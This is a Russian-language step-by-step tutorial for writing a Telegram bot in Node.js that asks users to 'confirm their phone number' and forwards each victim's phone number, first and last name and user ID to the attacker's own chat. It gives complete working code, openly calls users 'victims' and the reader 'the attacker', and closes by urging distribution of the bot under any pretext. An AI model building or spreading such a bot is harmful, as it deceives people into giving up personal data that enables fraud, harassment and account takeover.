Способ намбер 1
Для начала необходимо установить https://nodejs.org/en/
При установке оставляем все по дефолту и перезагружаем компьютер.
После установки Node.Js и перезагрузки компьютера создаем папку с проектом в папке с Node.Js, а также создаем файл index.js уже в папке именно проекта
npm i node-telegram-bot-api
После установки структура файлов будет выглядеть так:
Получаем Токен
Пишем /start Телеграм боту @BotFather
2. Пишем /newbot
3. Пишем имя бота, затем username
4. Профит! Мы получили Токен!
Начинаем прогать
Подключаем установленную библиотеку:
const TelegramBot = require("node-telegram-bot-api");
2. Создаем переменную TOKEN - которая будет хранить Токен бота:
const TOKEN = "Ваш Токен"
3. И создаем самого бота для дальнейших действий:
const bot = new TelegramBot(TOKEN, {polling: true});
Первое значение - это Токен, второе это настройки, но лучше оставить так как я написал
4. Теперь давайте сделаем чтобы на текст /start бот просил якобы "Подтвердить номер телефона":
bot.onText(/\/start/, function(msg) {
const id = msg.chat.id; // id это ID чата, чтобы отправлять сообщение именно пользователю который это написал
bot.sendMessage(id, `Подтвердите свой номер телефона`) // Отправляем сообщение написавшей жертве
});
Для того чтобы скрипт запустился, необходимо запустить Node.js command prompt, командами cd перейти в нашу папку и написать:
node index.js
После написания команды, выскочит предупреждение, но оно вылазит всегда.
P.S: После каждого обновления скрипта необходимо перезапускать бота в Node.Js command prompt
Теперь пишем боту:
Как видите он и правда отвечает, теперь сделаем красивую клавиатуру, и чтобы после ее нажатия злоумышленнику (То есть нам) приходил контакт собеседника:
bot.onText(/\/start/, function(msg) {
const id = msg.chat.id; // id - это ID чата, чтобы отправлять сообщение именно пользователю который это написал
console.log(id); // Нам надо также запомнить chat_id с нами, это потребуется в будующем
bot.sendMessage(id, `Подтвердите свой номер телефона`, {
reply_markup: { // Отправляем также клавиатуру
keyboard: [[{
text: "Подтвердить телефон", // Текст который будет на клавиатуре
request_contact: true // Будем ли мы запрашивать контакт
}]]
}
})
});
Перезапускаем наш скрипт
Ctrl + c
node index.js
И действительно, теперь юзер отправляет боту свой номер телефона по кнопке, осталось сделать чтобы он пересылался нам
Теперь также мы знаем Chat ID "админа" (То есть нас) - Куда бот будет отправлять контакт
Остался последний шаг, проводим корректировки:
const admin = "Ваш чат ID";
bot.on("contact", function(msg) {
bot.sendMessage(admin, "Телефонный номер:" + msg.contact.phone_number);
bot.sendMessage(admin, "Имя:" + msg.contact.first_name);
bot.sendMessage(admin, "Фамилия:" + msg.contact.last_name);
bot.sendMessage(admin, "User ID:" + msg.contact.user_id);
});
Практика
Вот что видит жертва
А вот что получает злоумышленник
Осталось только распространять бота под любыми предлогами, а также стоит поработать над оформление бота, чтобы всё смотрелось хорошо